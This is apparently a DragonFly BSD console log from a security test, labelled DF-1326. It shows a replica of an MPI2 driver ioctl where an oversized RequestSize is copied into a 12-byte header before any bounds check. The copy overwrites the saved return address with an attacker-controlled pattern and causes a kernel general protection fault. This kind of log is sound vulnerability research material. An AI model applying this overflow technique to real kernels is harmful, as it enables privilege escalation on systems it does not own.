DF-1326 / panic.txt
route: writing to routing socket: File exists add net default: gateway 10.0.2.2: File exists Additional routing options:. Starting devd. Additional TCP options:. Mounting NFS file systems:. ELF ldconfig path: /lib /usr/lib /usr/local/lib /usr/local/libdata/ldconfig/pkg Building databases... Starting syslogd. Sep 17 12:42:43 dfbsd syslogd: kernel boot file is /boot/kernel/kernel No core dumps found. swap low/high-water marks set to 41940/62910 swapon: adding /dev/vbd0s1b as swap device NFS CLIENT: access_cache_timeout=5 neg_cache_timeout=3. Starting local daemons:. Updating motd. Configuring syscons: blanktime. Starting sshd. sendmail_submit: /etc/mail/aliases.db not present, generating sendmail_clientmqueue: /etc/mail/aliases.db not present, generating Starting cron. Local package initialization:. Thu Sep 17 12:42:43 UTC 2026 DragonFly/x86_64 (dfbsd) (ttyd0) login: df1326: replica loaded (MPI2_REQUEST_HEADER=12 bytes, no canary in kernel: see nm(1)) Sep 17 13:00:21 dfbsd nologin: Attempted login by root on UNKNOWN df1326: enter reqframesz=128 RequestSize=96 sizeof(tmphdr)=12 df1326: &tmphdr=0xfffff80118ad36bc saved_rip_slot=0xfffff80118ad3740 (offset 132 bytes) df1326: copyin returned 0 -- 84 bytes landed past the 12-byte tmphdr df1326: saved RIP slot out of reach for this size (offset 132) df1326: 10-byte aligned attacker-pattern spans observed out-of-band df1326: RequestSize 96 PASSED the (post-copyin) bounds check too df1326: prologue complete (dead-code checksum 69) df1326: enter reqframesz=128 RequestSize=4096 sizeof(tmphdr)=12 df1326: &tmphdr=0xfffff801187e76bc saved_rip_slot=0xfffff801187e7740 (offset 132 bytes) df1326: copyin returned 0 -- 4084 bytes landed past the 12-byte tmphdr df1326: SAVED RIP SLOT OVERWRITTEN: was 0xffffffff8062cdb5 now 0x4546474841424344 (attacker-controlled: YES) df1326: (restored; the real driver would return through the attacker value) df1326: 508-byte aligned attacker-pattern spans observed out-of-band Fatal trap 9: general protection fault while in kernel mode cpuid = 3; lapic id = 3 instruction pointer = 0x8:0xffffffff8062cdbb stack pointer = 0x10:0xfffff801187e77b0 frame pointer = 0x10:0x4546474841424344 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, long 0, def32 0, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 1224 current thread = pri 6 kernel: type 9 trap, code=0 CPU3 stopping CPUs: 0x00000037 stopped Stopped at dev_dioctl+0x6b: ret db>